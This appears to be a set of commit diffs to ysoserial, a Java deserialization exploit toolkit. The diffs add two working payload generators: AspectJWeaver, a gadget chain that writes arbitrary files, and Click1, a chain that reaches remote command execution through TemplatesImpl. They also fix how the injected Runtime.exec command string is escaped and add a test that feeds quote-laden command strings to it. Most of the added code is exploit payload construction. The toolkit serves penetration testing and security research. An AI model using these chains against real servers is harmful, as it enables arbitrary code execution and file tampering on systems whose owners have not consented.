minimal test for escaping issues in createTemplatesImpl

Resolve escape error:
Caused by: compile error: ) is missing

README.md

@@ -47,8 +47,10 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
   Available payload types:
      Payload             Authors                     Dependencies
      -------             -------                     ------------
+     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
      BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
      C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
+     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
      Clojure             @JackOfMostTrades           clojure:1.8.0
      CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
      CommonsCollections1 @frohoff                    commons-collections:3.1
@@ -57,6 +59,7 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
      CommonsCollections4 @frohoff                    commons-collections4:4.0
      CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
      CommonsCollections6 @matthias_kaiser            commons-collections:3.1
+     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
      FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
      Groovy1             @frohoff                    groovy:2.3.9
      Hibernate1          @mbechler
@@ -69,12 +72,14 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
      Jdk7u21             @frohoff
      Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
      MozillaRhino1       @matthias_kaiser            js:1.7R2
+     MozillaRhino2       @_tint0                     js:1.7R2
      Myfaces1            @mbechler
      Myfaces2            @mbechler
      ROME                @mbechler                   rome:1.0
      Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
      Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
      URLDNS              @gebl
+     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
      Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4
 ```
 

pom.xml

@@ -326,6 +326,16 @@
 			<artifactId>vaadin-server</artifactId>
 			<version>7.7.14</version>
 		</dependency>
+        <dependency>
+            <groupId>org.aspectj</groupId>
+            <artifactId>aspectjweaver</artifactId>
+            <version>1.9.5</version>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.click</groupId>
+            <artifactId>click-nodeps</artifactId>
+            <version>2.3.0</version>
+        </dependency>
 	</dependencies>
 
 	<profiles>

src/main/java/ysoserial/payloads/AspectJWeaver.java

@@ -0,0 +1,107 @@
+package ysoserial.payloads;
+
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+/*
+Gadget chain:
+HashSet.readObject()
+    HashMap.put()
+        HashMap.hash()
+            TiedMapEntry.hashCode()
+                TiedMapEntry.getValue()
+                    LazyMap.get()
+                        SimpleCache$StorableCachingMap.put()
+                            SimpleCache$StorableCachingMap.writeToPath()
+                                FileOutputStream.write()
+
+Usage:
+args = "<filename>;<base64 content>"
+Example:
+java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
+
+More information:
+https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
+ */
+@PayloadTest(skip="non RCE")
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
+@Authors({ Authors.JANG })
+
+public class AspectJWeaver implements ObjectPayload<Serializable> {
+
+    public Serializable getObject(final String command) throws Exception {
+        int sep = command.lastIndexOf(';');
+        if ( sep < 0 ) {
+            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
+        }
+        String[] parts = command.split(";");
+        String filename = parts[0];
+        byte[] content = Base64.decodeBase64(parts[1]);
+
+        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+        Object simpleCache = ctor.newInstance(".", 12);
+        Transformer ct = new ConstantTransformer(content);
+        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+        HashSet map = new HashSet(1);
+        map.add("foo");
+        Field f = null;
+        try {
+            f = HashSet.class.getDeclaredField("map");
+        } catch (NoSuchFieldException e) {
+            f = HashSet.class.getDeclaredField("backingMap");
+        }
+
+        Reflections.setAccessible(f);
+        HashMap innimpl = (HashMap) f.get(map);
+
+        Field f2 = null;
+        try {
+            f2 = HashMap.class.getDeclaredField("table");
+        } catch (NoSuchFieldException e) {
+            f2 = HashMap.class.getDeclaredField("elementData");
+        }
+
+        Reflections.setAccessible(f2);
+        Object[] array = (Object[]) f2.get(innimpl);
+
+        Object node = array[0];
+        if(node == null){
+            node = array[1];
+        }
+
+        Field keyField = null;
+        try{
+            keyField = node.getClass().getDeclaredField("key");
+        }catch(Exception e){
+            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+        }
+
+        Reflections.setAccessible(keyField);
+        keyField.set(node, entry);
+
+        return map;
+
+    }
+
+    public static void main(String[] args) throws Exception {
+        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
+        PayloadRunner.run(AspectJWeaver.class, args);
+    }
+}

src/main/java/ysoserial/payloads/Click1.java

@@ -0,0 +1,81 @@
+package ysoserial.payloads;
+
+import org.apache.click.control.Column;
+import org.apache.click.control.Table;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.math.BigInteger;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+/*
+    Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
+    We use java.util.PriorityQueue to trigger ColumnComparator.compare().
+    After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
+
+    Chain:
+
+    java.util.PriorityQueue.readObject()
+      java.util.PriorityQueue.heapify()
+        java.util.PriorityQueue.siftDown()
+          java.util.PriorityQueue.siftDownUsingComparator()
+            org.apache.click.control.Column$ColumnComparator.compare()
+              org.apache.click.control.Column.getProperty()
+                org.apache.click.control.Column.getProperty()
+                  org.apache.click.util.PropertyUtils.getValue()
+                    org.apache.click.util.PropertyUtils.getObjectPropertyValue()
+                      java.lang.reflect.Method.invoke()
+                        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
+                        ...
+
+    Arguments:
+    - command to execute
+
+    Yields:
+    - RCE via TemplatesImpl.getOutputProperties()
+
+    Requires:
+    - Apache Click
+    - servlet-api of any version
+
+    by @artsploit
+*/
+@SuppressWarnings({ "rawtypes", "unchecked" })
+@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
+@Authors({ Authors.ARTSPLOIT })
+public class Click1 implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+
+        // prepare a Column.comparator with mock values
+        final Column column = new Column("lowestSetBit");
+        column.setTable(new Table());
+        Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
+
+        // create queue with numbers and our comparator
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add(new BigInteger("1"));
+        queue.add(new BigInteger("1"));
+
+        // switch method called by the comparator,
+        // so it will trigger getOutputProperties() when objects in the queue are compared
+        column.setName("outputProperties");
+
+        // finally, we inject and new TemplatesImpl object into the queue,
+        // so its getOutputProperties() method will be called
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        final Object templates = Gadgets.createTemplatesImpl(command);
+        queueArray[0] = templates;
+
+        return queue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Click1.class, args);
+    }
+}

src/main/java/ysoserial/payloads/annotation/Authors.java

@@ -23,6 +23,8 @@ public @interface Authors {
     String SCRISTALLI = "scristalli";
     String HANYRAX = "hanyrax";
     String EDOARDOVIGNATI = "EdoardoVignati";
+    String JANG = "Jang";
+    String ARTSPLOIT = "artsploit";
 
     String[] value() default {};
 

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -115,7 +115,7 @@ public class Gadgets {
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
         String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
+            command.replace("\\", "\\\\").replace("\"", "\\\"") +
             "\");";
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)

src/main/java/ysoserial/payloads/util/Reflections.java

@@ -13,8 +13,18 @@ import com.nqzero.permit.Permit;
 public class Reflections {
 
     public static void setAccessible(AccessibleObject member) {
+        String versionStr = System.getProperty("java.version");
+        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
+        if (javaVersion < 12) {
           // quiet runtime warnings from JDK9+
           Permit.setAccessible(member);
+        } else {
+          // not possible to quiet runtime warnings anymore...
+          // see https://bugs.openjdk.java.net/browse/JDK-8210522
+          // to understand impact on Permit (i.e. it does not work
+          // anymore with Java >= 12)
+          member.setAccessible(true);
+        }
     }
 
 	public static Field getField(final Class<?> clazz, final String fieldName) {

src/test/java/ysoserial/test/util/GadgetsTest.java

@@ -0,0 +1,14 @@
+package ysoserial.test.util;
+
+import org.junit.Test;
+import ysoserial.payloads.util.Gadgets;
+
+public class GadgetsTest {
+    @Test
+    public void test_createTemplatesImpl_noCompilationError() throws Exception {
+        Gadgets.createTemplatesImpl("hostname");
+        Gadgets.createTemplatesImpl("echo 'foobar'");
+        Gadgets.createTemplatesImpl("echo \"foobar\"");
+        Gadgets.createTemplatesImpl("\"`';\\");
+    }
+}